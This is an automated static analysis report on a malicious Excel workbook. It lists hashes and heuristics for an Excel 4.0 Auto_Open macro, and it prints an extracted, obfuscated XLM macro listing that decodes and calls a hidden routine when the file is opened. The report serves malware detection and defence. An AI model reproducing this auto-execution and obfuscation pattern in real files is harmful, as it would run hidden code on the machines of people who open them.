Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c50e9d7ea5bd4a36…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:10 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 3b80071e4a84fe8e7265da0dcd698e7e SHA-1: 845c8d32d98833f17582c0ea31631259b7a4ebed SHA-256: c50e9d7ea5bd4a36491b6088afe98eeb4c3ae3c6167708f0ff2bf7967e0fa00e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6609 bytes
SHA-256: 6dcbece90609ef2a75096e3c081c0b505e1b90d5137eb864f4c138e2b44d854c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mZRkx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G148 
' 0018     21 LABEL : Cell Value, String Constant - BmdRjK len=0 
' 0018     20 LABEL : Cell Value, String Constant - bTTqX len=0 
' 0018     24 LABEL : Cell Value, String Constant - BzuVtsKtp len=0 
' 0018     20 LABEL : Cell Value, String Constant - dfAlp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ERWOr len=0 
' 0018     27 LABEL : Cell Value, String Constant - FWAQYJuEVZmq len=0 
' 0018     25 LABEL : Cell Value, String Constant - gEwvZEzYJp len=0 
' 0018     26 LABEL : Cell Value, String Constant - gRPXiipHisA len=0 
' 0018     23 LABEL : Cell Value, String Constant - HUBllrlb len=0 
' 0018     21 LABEL : Cell Value, String Constant - IeiHTY len=0 
' 0018     23 LABEL : Cell Value, String Constant - LNQfMyAG len=0 
' 0018     20 LABEL : Cell Value, String Constant - MDooE len=0 
' 0018     25 LABEL : Cell Value, String Constant - MzUgPDjjgP len=0 
' 0018     23 LABEL : Cell Value, String Constant - NLyFuJFw len=0 
' 0018     27 LABEL : Cell Value, String Constant - OlwqEfyMvdSl len=0 
' 0018     23 LABEL : Cell Value, String Constant - OTwIgmMM len=0 
' 0018     23 LABEL : Cell Value, String Constant - pqknUjoR len=0 
' 0018     24 LABEL : Cell Value, String Constant - stMKzZKVL len=0 
' 0018     24 LABEL : Cell Value, String Constant - UcBWobBHl len=0 
' 0018     24 LABEL : Cell Value, String Constant - YgCpAfgzr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mZRkx,T41,"",9.00000000000000000000
'  mZRkx,T42,"",256.00000000000000000000
'  mZRkx,T43,"",-972.00000000000000000000
'  mZRkx,T44,"",-810.00000000000000000000
'  mZRkx,T45,"",-43.00000000000000000000
'  mZRkx,T46,"",505.00000000000000000000
'  mZRkx,G55,"SET.NAME("YgCpAfgzr",0+VALUE("0"))",""
'  mZRkx,G58,"SET.NAME("OTwIgmMM",YgCpAfgzr)",""
'  mZRkx,G61,"SET.NAME("MDooE",YgCpAfgzr)",""
'  mZRkx,G65,"SET.NAME("MzUgPDjjgP",COUNTA(gRPXiipHisA))",""
'  mZRkx,G70,"SET.NAME("BmdRjK",COUNTA(IeiHTY))",""
'  mZRkx,G73,[],""
'  mZRkx,G77,"SET.NAME("NLyFuJFw","")",""
'  mZRkx,G79,"OTwIgmMM",""
'  mZRkx,G81,"SET.NAME("gEwvZEzYJp",HLOOKUP("*",gRPXiipHisA,OTwIgmMM,FALSE))",""
'  mZRkx,G86,"HUBllrlb",""
'  mZRkx,G90,"SET.NAME("LNQfMyAG",YgCpAfgzr)",""
'  mZRkx,G95,[],""
'  mZRkx,G97,"LNQfMyAG",""
'  mZRkx,G100,"stMKzZKVL",""
'  mZRkx,G104,"pqknUjoR",""
'  mZRkx,G109,"dfAlp",""
'  mZRkx,G114,"SET.NAME("bTTqX",VALUE(HLOOKUP("*",IeiHTY,dfAlp,FALSE)))",""
'  mZRkx,G118,"ERWOr",""
'  mZRkx,G120,"NLyFuJFw",""
'  mZRkx,G123,"MDooE",""
'  mZRkx,G128,NEXT(),""
'  mZRkx,G133,"BzuVtsKtp",""
'  mZRkx,G135,[],""
'  mZRkx,G139,"FWAQYJuEVZmq",""
'  mZRkx,G142,NEXT(),""
'  mZRkx,G145,RETURN(),""
'  mZRkx,G172,"SET.NAME("OlwqEfyMvdSl",G55)",""
'  mZRkx,G176,"gRPXiipHisA",""
'  mZRkx,G178,"SET.NAME("IeiHTY",R98C13)",""
'  mZRkx,G183,"SET.NAME("FWAQYJuEVZmq",189)",""
'  mZRkx,G186,"SET.NAME("UcBWobBHl",7)",""
'  mZRkx,G188,OlwqEfyMvdSl(),""
'  mZRkx,G189,HALT(),""